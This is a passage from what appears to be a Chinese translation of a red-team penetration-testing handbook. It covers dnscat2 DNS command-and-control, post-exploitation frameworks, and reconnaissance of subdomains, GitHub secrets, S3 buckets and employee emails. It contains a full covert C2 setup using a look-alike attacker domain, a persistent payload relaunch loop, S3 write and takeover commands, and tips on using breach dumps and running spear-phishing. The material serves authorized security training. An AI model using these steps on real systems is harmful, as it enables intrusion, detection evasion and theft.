wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_ 6.0.2-1.ubuntu.16.04_amd64.deb。

dpkg-i powershell_6.0.2-1.ubuntu.16.04_amd64.deb。

1.4.4　dnscat2

dnscat2工具是通过DNS协议创建加密的命令和控制（C2）通道，这是适用于几乎所有网络的有效隧道（见GitHub的相关内容）。

基于DNS协议来实现命令和控制以及网络渗透，提供了一种很好的机制隐藏您的流量、规避网络检测和绕过网络限制。在许多受限制的环境或生产环境中，我们遇到过网络要么不允许出站流量，要么严格限制/监控流量。为了解决这些问题，我们可以使用dnscat2工具。使用dnscat2工具的原因是因为它不需要管理员权限，可以实现远程访问和网络渗透。

许多高安全网络环境禁止UDP或TCP数据包直接出站。那么为什么我们不利用基础架构中已经内置的服务？许多严格保护的网络中包含内部DNS服务器，用于解析内部主机的域名，同时还允许解析外部的资源。我们可以搭建权威DNS服务器，实现恶意域名的解析，通过修改DNS解析数据包内容，执行恶意软件的命令和控制功能，如图1.8所示。

图1.8

在攻击场景中，我们将设置名为“loca1host.com”的攻击者域名。这与localhost很相似，希望可以稍微隐藏我们的网络流量。您需要将“loca1host.com”替换成自己拥有的域名。我们将配置loca1host.com的DNS信息，使其指向我们安装的权威DNS服务器。在此示例中，我们将使用GoDaddy的DNS配置工具，您也可以使用任何DNS服务。

1．使用GoDaddy搭建权威DNS服务器

搭建虚拟专用网络服务器作为命令和控制服务器，获取服务器IP地址。

在购买域名后，登录GoDaddy（或类似域名提供商）账户。

选择您的域名，单击管理，并选择高级选项。

设置DNS管理的主机名，使其指向您的服务器。

ns1（虚拟专用服务器IP地址）

ns2（虚拟专用服务器IP地址）

修改Nameservers为定制模式。

添加ns1.loca1host.com

添加ns2.loca1host.com

如图1.9所示，现在设置名字服务器指向ns1.loca1host.com和ns2.loca1host.com，它们都指向攻击者虚拟专用服务器。如果您尝试解析loca1host.com（如vpn.loca1host.com）的任何子域，那么它将尝试使用我们的虚拟专用服务器来执行域名解析。幸运的是，dnscat2在UDP 53端口进行监听，并为我们完成所有繁重的工作。

图1.9

接下来，我们需要设置攻击者服务器作为名字服务器。设置dnscat2服务器。

sudo su-。

apt-get update。

apt-get install ruby-dev。

git clone https://github.com/iagox86/dnscat2.git。

cd dnscat2/server/。

apt-get install gcc make。

gem install bundler。

bundle install。

测试是否发挥作用：ruby ./dnscat2.rb。

简单提示：如果使用Amazon Lightsail虚拟专用服务器，那么一定要开放UDP 53端口。

对于客户端代码，我们需要将其编译成二进制文件，并在Linux上运行。

2．编译客户端

git clone https://github.com/iagox86/dnscat2.git/opt/dnscat2/client。

cd /opt/dnscat2/client/。

make。

dnscat二进制文件已经生成。

在Windows环境中，使用Visual Studio加载client/win32/dnscat2.vcproj工程，并进行编译。

现在已经配置了权威DNS，攻击者服务器运行dnscat2程序，负责DNS域名解析，并且恶意软件已经编译完毕，我们已准备好执行静荷。

在开始之前，我们需要在攻击者服务器上启动dnscat。虽然有多种配置可供使用，但是必须要配置--secret标志，确保DNS请求中的通信是加密的。确保将loca1host.com替换为您拥有的域名，并创建随机密钥字符串。

在攻击者服务器上启动dnscat2。

screen。

ruby ./dnscat2.rb loca1host.com --secret 39dfj3hdsfajh37e8c902j。

假设有一个存在漏洞的服务器，您能够在其上远程执行代码。您可以运行shell命令并上传dnscat静荷。执行我们的静荷。

./dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j。

这将启动 dnscat 程序，使用我们的权威服务器创建命令和控制通道。有时我碰到dnscat2服务“死机”了，原因可能是大文件传输，或者仅仅是程序出现了问题。为了解决这种类型的问题，我要确保dnscat能够有效回连。为此，我通常喜欢使用快速bash脚本，启动dnscat静荷。

nohup/bin/bash -c "while true; do/opt/dnscat2/client/dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j --max-retransmits 5; sleep 3600; done" >/dev/null 2>&1 &。

这将确保如果客户端静荷因任何原因“死机”了，它将每小时生成一个新实例。有时只有一次机会让您的静荷执行，因此需要让它发挥作用！

最后，如果想在Windows系统上运行这个静荷，您可以使用dnscat2静荷。为什么不在PowerShell中执行此操作？Luke Baggett写了一个关于dnscat客户端的PowerShell版本。

3．dnscat2连接

在静荷执行并回连到攻击者服务器之后，我们应该看到类似于下面的新的ENCRYPTED AND VERIFIED消息。通过输入“window”，dnscat2将显示所有会话。目前，我们可以看到图1.10中有一个名为“1”的会话。

图1.10

我们可以通过与命令会话交互，复制生成Shell。

与第一个命令会话交互。

window -i 1

运行Shell会话。

shell

回到主会话。

Ctrl-z

与会话2交互。

window -i 2

现在能够运行所有Shell命令（例如ls），如图1.11所示。

图1.11

虽然这不是最快的Shell，但是由于所有通信数据包都是通过DNS协议进行传输的，因此真正解决了Meterpreter或类似Shell无法回连的情况。dnscat2更大的优点是它完全支持隧道。这样的话，我们可以从本地主机发起漏洞攻击，使用浏览器来访问内部网站，甚至是通过SSH登录到设备上，这一切都是可能的。

4．使用dnscat2建立隧道

很多时候，攻击者服务器需要通过突破的主机，访问突破主机内网的其他服务器。使用dnscat2执行此操作的安全方法之一是本地端口路由我们的流量，接着通过隧道传输到网络内部主机。我们可以通过命令会话中的以下命令来完成这个例子。

listen 127.0.0.1:9999 10.100.100.1:22。

创建隧道后，在攻击者主机终端根窗口，使用SSH命令登录本地9 999端口，我们可以返回攻击者计算机上的管理员终端窗口，通过SSH命令9 999端口连接到localhost，并通过被攻击者网络上的内部系统身份验证，如图1.12所示。

图1.12

这将提供各种有用的功能，一个很好的测试是检测客户的网络是否可以检测到大量的DNS查询和数据窃取。那么，请求和响应的数据包看起来是什么样的？通过快速的Wireshark数据截获，如图1.13所示的dnscat2创建了大量不同类型的DNS请求包，发送到不同类型长子域名。

图1.13

1.4.5　p0wnedShell

正如在p0wnedShell的GitHub页面所介绍的，这个工具是用C＃编写的用于攻击目的的PowerShell主机应用程序，它不依赖于powershell.exe，而是在PowerShell运行空间环境（.NET）中运行PowerShell命令和函数。该工具包含许多攻击PowerShell模块和二进制模块，使后期漏洞利用过程更加容易。我们尝试的是建立一个“一体化”的包含所有相关工具的后漏洞利用工具，并借助它绕过所有安全防护机制（或至少绕过一些）。您可以使用p0wnedShell在活动目录环境中执行各种攻击，使防御团队产生防范意识，从而帮助他们构建正确的防御策略。

1.4.6　Pupy Shell

Pupy 是一个开源、跨平台（Windows、Linux、macOS和Android）远程管理和后漏洞利用工具，主要用Python语言编写。

Pupy 的一个非常棒的功能是，您可以在所有代理上运行Python脚本，而无须在所有主机上实际安装Python。因此，Pupy是一个很方便的工具，能够帮助用户实现在自定义框架中编写大量攻击脚本的目的。

1.4.7　PoshC2

PoshC2是一个代理，自适应命令和控制框架，完全用PowerShell编写，可以帮助渗透测试人员与红队开展团队合作，开展后漏洞利用和横向移动操作。PoshC2工具和模块是在PowerShell会话和Metasploit框架的静荷类型的基础上开发的。选择PowerShell作为基本语言，是因为它提供了所需的所有功能和丰富的特性，并且框架无须引入多种语言。

1.4.8　Merlin

Merlin基于最近开发的HTTP/2（RFC7540）协议。Per Medium解释：“HTTP/2通信是多路复用的，双向连接不会在一个请求和响应之后结束。此外，HTTP/2是一个二进制协议，具有更紧凑、易于解析等特点，不使用协议解析工具则无法理解HTTP/2内容。”

Merlin是一个用Go语言编写的工具，界面和使用方法类似于PowerShell Empire，并且允许使用轻量级代理。它不支持任何类型的后漏洞利用模块，因此必须独立完成后续工作。

1.4.9　Nishang

Nishang是一个包含大量脚本和静荷的框架，可以使用PowerShell开展攻击检测、渗透测试和红队行动。Nishang在渗透测试的所有阶段都很有用。

虽然Nishang实际上是一个令人惊叹的PowerShell脚本的集合，但是也包括一些轻量级命令和控制的脚本。

1.5　结论

现在，您终于完成了工具和服务器配置，准备开始“战斗”。为各种场景做好准备可以帮助您“规避”网络检测工具、协议禁用以及基于主机的安全防护工具。

对于本书中的实验，我创建了基于Kali Linux的完整虚拟机，包括各种工具。在黑客秘笈压缩包中，有一个名为List_of_Tools.txt的文本文件，其中包括了所有添加的工具。默认用户名/密码是root/toor。

第2章　发球前——红队侦察

在本书上一版中，这一章重点介绍如何使用不同的工具，如Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP屏幕截图、漏洞扫描和Burp Suite等工具。我们使用这些工具从外网或者内网，对被攻击者的基础网络实施侦察或扫描操作。我们将继续这一传统，从红队的角度进入侦察阶段。

2.1　监控环境

红队通常需要开展攻击。您不仅需要时刻准备好攻击基础架构，还需要不断地寻找漏洞。您可以使用各种工具扫描网络环境、查找服务和云配置错误等，完成操作。通过这些操作，您可以收集有关被攻击者基础网络的大量信息，并找到直接的攻击途径。

2.1.1　常规Nmap扫描结果比较

对于所有的客户，我们要做的第一件事就是设置不同的监控脚本。这些通常只是快速执行的bash脚本，脚本的功能是每天通过电子邮件向我们发送客户网络的变化。当然，在扫描之前，请确保您具有执行扫描的合法授权。

对于通常不是很大的客户端网络，我们设置简单的定时任务来执行外部端口差异化的比较。例如，我们可以在Linux系统中创建一个快速bash脚本，完成这项烦琐的工作（记得替换IP地址范围）。

#!/bin/bash。

mkdir/opt/nmap_diff。

d=$(date +%Y-%m-%d)。

y=$(date -d yesterday +%Y-%m-%d)。

/usr/bin/nmap -T4 -oX/opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1。

if [ -e/opt/nmap_diff/scan_$y.xml ]; then。

/usr/bin/ndiff/opt/nmap_diff/scan_$y.xml/opt/nmap_diff/scan_$d.xml >/opt/nmap_ diff/diff.txt。

fi。

这是一个非常简单的脚本，功能是每天运行Nmap工具，扫描默认端口，然后使用ndiff工具比较结果，如图2.1所示。获得脚本输出的结果后，通知我们的团队每天发现的新端口。

在本书上一版中，我们讨论了Masscan工具的优点以及它的扫描速度。Masscan的开发人员表示，如果拥有足够的网络带宽，您可以在6 min内完成整个互联网扫描。Masscan工具存在的一个问题是，大范围扫描时可靠性无法保证。Masscan工具对于我们前期的侦察很有帮助，但通常不用于端口差异的比较。

实验

本书中的实验是完全可选的。一些章节中已经介绍了用于执行测试的附加实验或者是您可以拓展的领域。由于这完全是为了学习和发现自己的兴趣点，强烈建议您花些时间更好地使用我们的工具，并在社区中分享工具的使用方法。

图2.1

搭建更详细的网络差异扫描器。

相对于Nmap工具默认的端口列表，设置更详细的端口列表（如Nmap默认没有包括Redis 6379/6380等端口）。

增加Nmap获取旗标的功能。

保持端口的历史记录。

搭建电子邮件警报/通知系统。

检查差异Slack警报：http://bit.ly/2H1o5AW。

2.1.2　网站截图

除定期扫描开放端口/服务外，红队还需要监控不同的网站应用程序。我们可以使用两个工具监控网站应用程序的变化。

第一个常用的网页截图工具是HTTPScreenshot。HTTPScreenshot的功能非常强大，它使用Masscan工具快速扫描大型网络，并使用PhantomJS工具记录检测到的任何网站的屏幕截图，如图2.2所示。这是快速获取大型内部或外部网络架构的好方法。

请记住，本书中提到的所有工具都运行在定制的Kali虚拟机中。

cd /opt/httpscreenshot/。

编辑networks.txt文件，修改网络扫描参数。

gedit networks.txt

./masshttp.sh。

firefox clusters.html。

图2.2

我推荐的另一个网页截图工具是Eyewitness。Eyewitness是很好的工具，它能够识别Nmap工具输出的XML文件，输出的结果包括截屏网页、RDP服务器和VNC服务器等信息，如图2.3所示。

实验

cd /opt/EyeWitness。

nmap [IP Range]/24 --open -p 80,443 -oX scan.xml。

python ./EyeWitness.py -x scan.xml -web。

图2.3

2.1.3　云扫描

随着越来越多的公司开始使用各种云基础架构，网络中出现了许多新的攻击方式。这通常是由于配置错误以及不了解他们的云基础架构到底面临什么困境造成的。无论是亚马逊EC2、Azure、谷歌云还是其他一些云服务商，都存在此类问题，这个问题已成为全球性的问题。

对于红队来说，面临的难题是如何在不同的云环境中进行搜索。由于许多用户使用动态IP，因此他们的服务器IP地址不仅快速变化，而且也没有在云服务商的固定地址范围列表中。例如，如果您使用AWS云服务（AWS云服务在全球范围内拥有巨大的IP地址范围），那么根据选择的区域，您的服务器可能被设置在/13掩码地址范围内。对于局外人来说，查找和监控这些服务器并不容易。

首先，确定不同云服务商拥有的IP范围，如Amazon、Azure和Google Cloud。

你可以看出这些地址范围很大，手动扫描非常困难。在本章中，我们将介绍如何获取有关这些云系统的信息。

2.1.4　网络/服务搜索引擎

如何找到云服务器？互联网上有大量免费的资源，我们可以基于这些资源对目标进行侦察。我们可以使用Google以及第三方扫描服务等方式。利用这些资源，我们无须主动探测，便能够深入地了解公司，查找服务器、开放服务、旗标和其他详细的信息。目标公司永远不会知道您查询过这类信息。作为红队，下面我们来了解如何利用这些资源。

1．Shodan

Shodan是一项非常棒的服务，它定期扫描互联网，抓取旗标、端口和网络等多种信息。Shodan甚至还搜索漏洞信息，例如“心脏滴血”漏洞。Shodan的一个危险的用途就是查找未设置口令的网络摄像头，查看摄像头的内容。从红队的角度来看，我们希望找到有关被攻击者的信息。

一些基本的搜索查询如下。

title：搜索HTML标记中的内容。

html：搜索返回页面的完整HTML内容。

product：搜索Banner中标识的软件或产品的名称。

net：搜索给定的网络地址段（如204.51.94.79/18）。

我们可以在Shodan上搜索cyberspacekittens。

在HTML标记中搜索。

title:cyberspacekittens

在页面上下文中搜索。

html:cyberspacekittens.com

我注意到Shodan的扫描速度有点慢。它需要一个多月的时间才能扫描完我的服务器信息并放入Shodan数据库。

2．Censys.io

Censys会持续监控互联网上每个可访问的服务器和设备，因此您可以实时搜索和分析它们。您将能够了解自身网络的攻击面，发现新威胁并评估其全面的影响。Censys 极具特色的功能之一是它能从SSL证书中获取信息。通常，红队的主要困难之一是找到被攻击者的服务器在云服务器上的位置。幸运的是，我们可以使用Censys.io来查找这些信息，因为Censys已经解析了这些数据。

Censys.io扫描存在的一个问题是扫描可能需要几天或几周的时间。在这种情况下，需要一天的时间来扫描标题信息。此外，在我的网站上创建SSL证书后，信息显示在Censys.io网站上需要4天的时间。在数据准确性方面，Censys.io非常可靠。

下面，我们扫描目标cyberspacekittens.com，查找有关信息。通过解析服务器的SSL证书，我们能够确定目标服务器是在AWS上托管的，如图2.4所示。

图2.4

还有一个Censys脚本工具，可以通过脚本化过程查询子域名。

2.1.5　人工解析SSL证书

我们发现大多数公司几乎不会意识到自己在互联网上暴露了什么内容。特别是随着云服务应用的增加，许多公司并没有正确采取访问权限控制措施。这些公司认为自己的服务器已经受到保护，但是我们发现很多服务是对外开放的。这些服务包括Redis数据库、Jenkin服务器、Tomcat管理和NoSQL数据库等。其中许多服务导致远程代码执行或个人身份信息失窃。

查找这些云服务器时，一种方法是在互联网上以自动方式人工获取SSL证书。我们根据云服务商提供的IP地址范围列表，定期扫描所有这些地址范围并下载SSL证书。通过查看SSL证书，我们可以了解关于一个组织的大量信息。针对网络安全猫公司IP地址的范围开展扫描，我们可以看到证书中的主机名，.int是内部服务器，.dev是研发主机，vpn是VPN服务器等，如图2.5所示。很多时候，您可以获得内部主机名，这些主机可能没有公共IP或内网允许访问的白名单IP地址。

图2.5

为了实现通过扫描获取证书中的主机名，为本书开发了sslScrape工具。该工具利用Masscan快速扫描大型网络。它能够识别端口443上的服务，并提取证书中的主机名，如图2.6所示。

图2.6

开始运行sslScrape。

cd /opt/sslScrape。

python ./sslScrape.py [IP地址掩码范围]。

本书提供了示例和工具框架。但是，这些代码是否需要进一步开发取决于您。我强烈建议您将此代码作为基础，将所有主机名保存到数据库，开发网站前端交互界面，连接可能具有证书的其他端口，例如8443等，甚至可能会挖掘一些漏洞，例如.git/.svn类型漏洞。

2.1.6　子域名发现

在识别IP范围方面，我们通常可以从公共资源中查找公司的信息，例如美洲互联网号码注册管理机构（ARIN）。我们可以查询IP地址空间的注册人员，搜索公司拥有的网络，按组织查找自治系统编号等。如果我们在北美以外的地区寻找，那么可以通过AFRINIC（非洲）、APNIC（亚洲）、LACNIC（拉丁美洲）和RIPE NCC（欧洲）查询。这些机构都是可供公开查询的，在它们的服务器上可以进行检索。

您可以通过许多可用的公共资源，查询任何主机名或正式域名，获取该域的所有者。您在这些地方查询不到子域名的信息。子域名信息存储在目标的DNS服务器上，而不是在某些集中的公共注册系统上。您必须知道如何搜索才能找到有效的子域名。

为什么找到目标服务器子域名如此重要？有以下几个原因。

某些子域可以指示服务器的类型（如dev、vpn、mail、internal和test），如mail.cyberspacekittens.com。

某些服务器不响应IP查询。它们共享基础架构，仅对正规的域名进行响应。这在云基础架构上很常见。因此，即使一整天都在扫描，但是如果找不到子域名，您都不会真正了解那个IP地址上运行的应用程序。

子域可以提供有关目标托管其服务器的位置信息。这是通过查找公司的所有子域，执行反向查找以及查找IP托管位置来完成的。一家公司可能同时使用多个云服务商和数据中心。

在本书上一版中我们已经做了一些介绍，下面让我们回顾一下当前使用和新出现的工具，从而能够更好地开展子域名发现。欢迎加入并扫描cyberspacekittens.com域名。

1．发现脚本

发现脚本工具是我很喜欢的一个侦察/发现工具，在本书上一版中已经讨论过。我喜欢使用它的原因是它集成了Kali Linux中的多个侦察工具，并且定期维护。被动域名侦察将使用以下工具：ARIN、dnsrecon、goofile、goog-mail、goohost、theHarvester、Metasploit、URLCrazy、Whois、多个网站和recon-ng等。

git clone https://github.com/leebaird/discover/opt/discover/。

cd /opt/discover/。

./update.sh。

./discover.sh。

Domain。

Passive。

[Company Name]。

[Domain Name]。

firefox/root/data/[Domain]/index.htm。

Discover脚本的最大优点是它能够搜集所需的信息，并根据这些信息继续搜索。例如，脚本搜索公共PGP存储库，在识别出电子邮件后，通过邮件地址在“Have I Been Pwned”网站继续搜索（使用Recon-NG脚本）。这样我们就可以第一时间知道这些邮件口令是否已经被公开泄露（您也要查询一下自己的邮件口令是否已经泄露）。

2．Knock

接下来，我们希望了解公司使用的所有服务器和域名。虽然子域名不是集中存储，但是我们可以使用工具（如Knock）暴力破解不同类型的子域名，从而可以识别哪些服务器或主机可能遭受攻击。

Knockpy是一个Python工具，通过字典枚举目标域名的子域名。

Knock 是一个很棒的子域名扫描工具，通过字典枚举子域名，并判断是否可以解析。因此，如果您想了解cyberspacekittens.com子域名，那么利用Knock工具获取下面网址的字典，并查看是否存在[subdomain] .cyberspacekittens.com子域名。这里需要注意的是，Knock 的扫描效果取决于您的字典。因此，拥有更好的字典将大大增加发现子域名的可能性。

我最喜欢的子域名字典是由jhaddix生成的。您需要持续搜集子域名来生成字典。您可以在本书虚拟机镜像中找到其他字典，位置是/opt/SecLists。

实验

找到cyberspacekittens.com的所有子域名。

cd /opt/knock/knockpy。

python ./knockpy.py cyberspacekittens.com。

使用了Knock的基本字典。尝试下载并使用更大的字典。尝试使用http://bit.ly/ 2qwxrxB列表，添加-u选项（python ./knockpy.py cyberspacekittens.com -u all.txt）。

您是否从Discover脚本中发现了各种类型域名的差异？哪些类型的域名将是您“攻击”的首选目标或者可用于鱼叉式网络钓鱼攻击？到实际的网络环境中进行尝试吧。您可以参加一个漏洞悬赏项目，开始搜索有趣的子域名。

3．Sublist3r

前面已经说过，Knock存在的问题是子域名搜索效果与字典直接相关。有些公司设置了非常独特的子域名，这些子域名无法在常用的字典中找到。我们还可以利用搜索引擎。随着网站的信息被抓取，通过分析带有链接的文件，我们就可以获取很多网站的公共资源，这意味着我们可以使用搜索引擎完成这些烦琐的工作。

这就是我们使用Sublist3r之类的工具的原因。请注意，使用Sublist3r这样的工具对应不同的“google dork”搜索查询，这种操作方式看起来像机器人操作。这可能会使您暂时被列入黑名单，并需要在每次请求时填写验证码，从而影响扫描结果。下面运行Sublister。

cd /opt/Sublist3r。

python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com。

您是否注意到暴力破解子域名可能不会有任何结果？在漏洞悬赏项目中进行实验，查看暴力破解和使用搜索引擎之间的巨大差异。

4．SubBrute

最后介绍的一个子域名搜索工具是SubBrute。SubBrute是一个社区项目，其目标是创建最快、最准确的子域名枚举工具。SubBrute工具的神奇之处在于它使用开放式解析器作为代理，从而规避DNS查询速率限制。

工具设计采用了一个匿名层，因为 SubBrute 不会将流量直接发送到目标名称服务器。

SubBrute不仅速度极快，而且还具有DNS爬虫特性，能够抓取DNS记录。下面运行SubBrute。

cd /opt/subbrute。

./subbrute.py cyberspacekittens.com。

我们还可以拓展SubBrute功能，将其与MassDNS结合使用，从而实现非常高效的DNS解析。

2.1.7　GitHub

GitHub是一个不可思议的数据宝库。我们进行了大量的渗透测试和红队评估，从而获得了密码、API密钥、旧的源代码和内部主机名/IP地址等。这些信息可用于直接控制目标或者为下一次攻击提供帮助。我们看到的是，许多开发人员要么将代码推送到错误的仓库（将其发送到公共存储库而不是公司的私有存储库），要么不小心推送了敏感材料（如密码），然后尝试将其删除。GitHub 的一个特点是它可以在每次修改或删除代码时进行跟踪。这意味着即使仅一次将敏感代码推送到存储库并且删除了敏感文件，仍可以在代码更改记录中找到敏感代码。只要存储库是公共的，您就可以查看所有这些更改。

我们可以使用GitHub搜索，甚至只使用简单的Google Dork搜索识别特定的主机名/组织名称。

site：github.com +“cyberspacekittens”。

与其搜索以下示例中的cyberspacekittens，不如尝试使用不同的搜索引擎搜索漏洞悬赏项目。

如前所述，当您在GitHub中编辑或删除文件时，所有的操作都被记录下来。幸运的是，在红队中，很多人都忘记了这个功能。因此，我们经常看到有人将敏感信息放入GitHub，删除它，并没有意识到它仍然存在！让我们看看是否能找到一些这样的信息。

Truffle Hog

Truffle Hog工具能够扫描不同的提交历史记录，查找高熵值的密钥，并打印这些内容。它非常适合用来查找密码、口令和密钥等。我们来看一看能否在cyberspacekittens的GitHub 存储库中找到一些“秘密”。

实验

cd /opt/trufflehog/truffleHog。

python truffleHog.py https://github.com/cyberspacekittens/dnscat2。

正如我们在图2.7所示的提交历史记录中看到的那样，AWS密钥和SSH密钥已从server/controller/ csk.config中删除。

图2.7

更好的工具是git-all-secrets（但设置起来有点复杂）。git-all-secrets适合用于查找大型组织。您可以指定一个组织，在本地复制代码，然后使用Truffle-hog和repo-supervisor工具进行扫描。您首先需要创建一个GitHub访问令牌，操作过程是创建GitHub并在设置中选择Generate New Token。

运行git-all-secrets。

cd /opt/git-all-secrets。

docker run -it abhartiya/tools_gitallsecrets：v3 - repoURL = https://github.com/ cyberspacekittens/dnscat2 -token = [API Key] -output = results.txt。

复制代码库并开始扫描。你甚至可以设置-org，获取GitHub中的所有组织的代码。

在容器运行完毕后，输入以下命令检索容器ID。

docker ps -a

在获得容器ID后，从容器中将结果文件复制到主机，输入以下命令。

docker cp <container-id>：/data/results.txt

2.1.8　云

前面提到过，许多公司云服务的配置不正确，导致出现安全漏洞。常见问题如下。

Amazon S3容器丢失。

Amazon S3容器权限。

能够列出文件并将文件写入公共AWS容器。

aws s3 ls s3://[bucketname]

aws s3 mv test.txt s3://[bucketname]

缺少日志。

在开始测试不同AWS容器上的错误配置之前，我们需要先识别它们。下面我们尝试使用几种不同的工具，发现目标AWS基础架构的内容。

1．S3容器枚举

有许多工具可以枚举AWS的S3容器。这些工具通常采用关键字或列表，应用多个排列，然后尝试识别不同的容器。例如，我们可以使用一个名为Slurp的工具来查找有关目标CyberSpaceKittens的信息，如图2.8所示。

cd /opt/slurp。

./slurp domain -t cyberspacekittens.com。

./slurp keyword -t cyberspacekittens。

图2.8

2．Bucket Finder

另一个工具Bucket Finder不仅会尝试查找不同的容器，而且会从这些容器中下载所有内容进行分析，如图2.9所示。

wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2。

cd /opt/bucket_finder。

./bucket_finder.rb --region us my_words -download。

图2.9

现在我们查明了Cyber Space Kittens的基础架构，并确定了其中一个S3容器。在获取S3容器内容（有的能看到，有的看不到）时，您的第一步是做什么？您可以先在浏览器中输入网址，查看一些信息，如图2.10所示。

图2.10

在开始之前，我们需要创建一个AWS账户，获取访问密钥ID。您可以从亚马逊网站免费获取您的账户。创建账户后，登录AWS，获取您的安全凭证和访问密钥。一旦您获得AWS Access ID和密钥，就可以查询申请的S3容器了。

查询S3容器并下载所有内容。

安装awscli。

sudo apt install awscli

配置凭据。

aws configure

查看CyberSpaceKittens的S3容器的权限。

aws s3api get-bucket-acl --bucket cyberspacekittens

从S3容器中读取文件。

aws s3 ls s3://cyberspacekittens

下载S3容器中的所有内容。

aws s3 sync s3://cyberspacekittens

在查询S3容器之后，接下来要测试的是该容器的写入权限。如果我们具有写访问权限，则可以完全控制容器中的应用程序。我们经常看到，当存储在S3容器中的文件在所有页面上使用时（如果我们可以修改这些文件），我们可以将恶意代码复制到Web应用程序服务器。

写入S3，如图2.11所示。

echo "test" > test.txt。

aws s3 mv test.txt s3://cyberspacekittens。

aws s3 ls s3://cyberspacekittens。

注意，写权限已从Everyone组中删除。这只是为了演示。

图2.11

3．修改AWS容器中的访问控制权限

在分析AWS安全性时，我们需要检查对象和容器的权限控制。对象是单个文件，容器是逻辑存储单元。如果配置不正确，这两个权限可能会被用户任意修改。

首先，我们查看每个对象，检查是否正确配置了这些权限。

aws s3api get-object-acl --bucket cyberspacekittens --key ignore.txt。

我们看到该文件只能由名为“secure”的用户写入，并未对所有人开放。如果我们具有写访问权限，则可以使用s3api中的put-object函数来修改该文件。

接下来，我们来查看是否可以修改容器。这可以通过以下方式实现，如图2.12所示。

aws s3api get-bucket-acl --bucket cyberspacekittens。

图2.12

同样，在这两种情况下，READ是全局许可的，但只有名为“secure”的账户才具有完全控制或任意写的权限。如果我们访问容器，那么可以使用--grant-full-control来完全控制容器和对象。

4．子域名劫持

子域名劫持是常见的漏洞，近期我们发现很多公司有这个漏洞。如果一家公司使用第三方CMS/内容/云服务商，将子域名指向这些服务商的平台，会发生什么情况？如果该公司忘记配置第三方服务或者忘记注销服务，攻击者可以从第三方服务商接管该子域名。

例如，您注册名为testlab.s3.amazonaws.com的S3 Amazon容器。然后，您的公司的子域名testlab.company.com指向testlab.s3.amazonaws.com。一年后，您不再使用S3容器，并取消了testlab.s3.amazonaws.com注册，但忘记了testlab.company.com的别名记录的重定向配置。现在有人可以访问AWS并重新申请testlab.s3.amazon.com，并在被攻击者的域上拥有有效的S3容器。

tko-subs工具可以检测子域名劫持漏洞。我们可以使用这个工具，检查任何指向CMS服务商（Heroku、GitHub、Shopify、Amazon S3、Amazon CloudFront等）的子域名是否可以被劫持。

运行tko-subs。

cd /opt/tko-subs/。

./tkosubs -domains = list.txt -data = providers-data.csv output = output.csv。

如果找到一个未注册的别名记录，那么可以使用tko-subs来接管GitHub页面和Heroku应用程序。否则，我们需要手动完成。以下两个工具也具有域名劫持功能。

HostileSubBruteforcer。

autoSubTakeover。

2.1.9　电子邮件

社会工程攻击的很大一部分工作是搜索电子邮件地址和员工姓名。在前面的章节中，我们提到了Discover Script，这个工具非常适合搜集电子邮件和员工姓名等数据。我通常首先使用Discover脚本，然后再使用其他工具挖掘数据。每个工具的工作方式略有不同，尽可能多地使用这些工具是非常有帮助的。

获得一些电子邮件后，最好了解目标的电子邮件命名格式。目标是采用姓.名@ cyberspacekitten.com还是初始.姓@ cyberspacekittens.com的命名方式？一旦找出邮件的命名格式，我们就可以使用像LinkedIn这样的工具，找到更多的员工姓名，并尝试识别他们的电子邮件地址。

1．SimplyEmail

我们都知道，鱼叉式网络钓鱼仍然是非常有效的攻击方式。如果我们未发现公司网络的任何漏洞，那么只能“攻击”公司的员工。要构建一个有效的电子邮件地址列表，我们可以使用SimplyEmail工具。这个工具能够输出公司的电子邮件地址格式和有效用户列表。

实验

查找cnn.com的所有电子邮件账户。

cd /opt/SimplyEmail。

./SimplyEmail.py -all -v -e cyberspacekittens.com。

firefox cyberspacekittens.com <date_time>/Email_List.html。

这可能需要运行很长时间，因为SimplyEmail工具会检索Bing、Yahoo、Google、Ask Search、PGP Repos和文件等，如图2.13所示。这也可能使您的网络看起来像搜索引擎的机器人，由于SimplyEmail工具会发起非常多的搜索请求，因此可能需要验证码。

图2.13

对您的公司进行这种检测。您是否看到了熟悉的电子邮件地址？这些邮件地址将是后续行动中的攻击目标。

2．过去的泄露事件

获取电子邮件地址的一种方法是持续监控和关注之前的泄露事件。我不想直接提供泄露文件的链接，但我会提供这些事件的名称。

2017年密码泄露14亿次。

2013年的Adobe泄露事件。

Pastebin Dumps。

Exploit.In Dumps。

Pastebin Google Dork。

2.2　其他开源资源

我不知道在哪里放置这些资源，但是我想提供一些其他红队攻击活动的资源。这有助于识别人员、位置、域名信息、社交媒体和图像分析等。

OSINT链接的集合。

OSINT框架。

2.3　结论

在本章中，我们简要介绍了各种不同的侦察策略和使用的工具。这只是一个开始，因为有太多工作需要手动完成，而且执行要花费大量时时间。您可以进阶到下一阶段，优化这些工具的自动化过程，使侦察变得快速而且高效。

第3章　抛传——网站应用程序漏洞利用

在过去几年中，我们经历了一些来自外部的严重网络攻击事件。Apache Struts 2网站（尽管Equifax事件还没有正式确认）、Panera网站和优步网站泄露了大量数据。毫无疑问，我们还会看到其他一些互联网网站，由于被攻击而导致严重的数据泄露事件。

整个安全行业在以周期性的方式发展。如果查看OSI模型的各个层级，那么会发现攻击者每隔一年就转移到不同的层级。对于网站来说，早在21世纪初，就有大量的SQLi和RFI类型漏洞被攻击者利用。然而，一旦公司开始加固网站外部安全措施，并开始进行外部渗透测试，攻击者就转向最初进入点——第8层即社交工程（网络钓鱼）攻击。现在，正如我们看到的，公司通过下一代端点/防火墙提升内部的安全性，攻击者的重点转向应用程序漏洞利用。我们还看到应用程序、API和语言的复杂性大幅增加，这导致许多旧的漏洞重新出现，甚至产生新的漏洞。

由于本书倾向于采用红队的思路，因此我们不会深入研究所有不同的Web漏洞或者如何手工利用这些漏洞。本书不会将Web漏洞逐一罗列。本书关注红队和“坏人”在现实世界中使用的漏洞，这些漏洞会导致个人身份信息、主机和网络泄露。如果您想详细了解网站漏洞类型，我强烈建议您参考《OWASP测试指南》一书。

